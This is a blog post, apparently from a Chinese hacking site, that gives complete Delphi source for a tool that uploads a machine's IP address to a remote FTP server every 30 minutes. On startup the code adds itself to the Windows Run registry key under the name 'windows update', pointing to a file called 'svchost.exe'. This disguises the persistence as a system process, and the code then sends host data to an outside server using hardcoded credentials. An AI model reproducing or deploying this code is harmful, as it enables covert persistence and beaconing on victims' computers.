FTP my IP

myip

程序功能,获取主机ip然后上传到指定的ftp,检测时间间隔每30min。程序源代码编译即可直接运行。

///////////////////////////////////////////////
//火星黑客研究院
//IP 自动上传
//Code by obaby
//http://www.h4ck.org.cn
//http://www.obaby.org.cn
//////////////////////////////////////////////
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdIPWatch, StdCtrls, ExtCtrls,
  IdTCPConnection, IdTCPClient,registry, IdFTP;

type
  TForm1 = class(TForm)
    IdIPWatch1: TIdIPWatch;
    Memo1: TMemo;
    Timer1: TTimer;
    IdFTP1: TIdFTP;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  servername:string;
  username:string;
  userpwd:string;
  Reg:TRegistry;    

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
    Reg:=TRegistry.Create;                                     //创建一个新键
    Reg.RootKey:=HKEY_LOCAL_MACHINE;     //将根键设置为HKEY_LOCAL_MACHINE
    Reg.OpenKey('SOFTWARE\Microsoft\windows\CurrentVersion\Run',true);//打开一个键
    Reg.WriteString('windows update',ExtractFilePath(Application.Exename)+'svchost.exe');           //在Reg这个键中写入数据名称和数据数值
    Reg.CloseKey;                                                    //关闭键
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
   servername:='www.h4ck.org.cn';
    username:='h4ck-obaby';
    userpwd:='1234567890987654321';
   memo1.Clear;
   form1.Caption:=IdIPWatch1.LocalIP;
   memo1.Lines.Add (IdIPWatch1.LocalIP );
   memo1.lines.SaveToFile('ip.txt');
   sleep (5000);
   idftp1.Host:=servername;
   idftp1.Username:=username;
   idftp1.Password:=userpwd;
   IdFTP1.Connect();
   sleep (1000);
  // IdFTP1.TransferType := ftBinary ;
   idftp1.Put('ip.txt','ip.txt');
   //showmessage('upload suscess');

end;

end.
☆版权☆

* 网站名称:obaby@mars
* 网址:https://lang.ma/
* 个性:https://oba.by/
* 本文标题: 《FTP my IP》
* 本文链接:https://da.bi/2009/11/606
* 短链接:https://oba.by/?p=606
* 转载文章请标明文章来源,原文标题以及原文链接。请遵从 《署名-非商业性使用-相同方式共享 2.5 中国大陆 (CC BY-NC-SA 2.5 CN) 》许可协议。


You may also like

2 comments

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注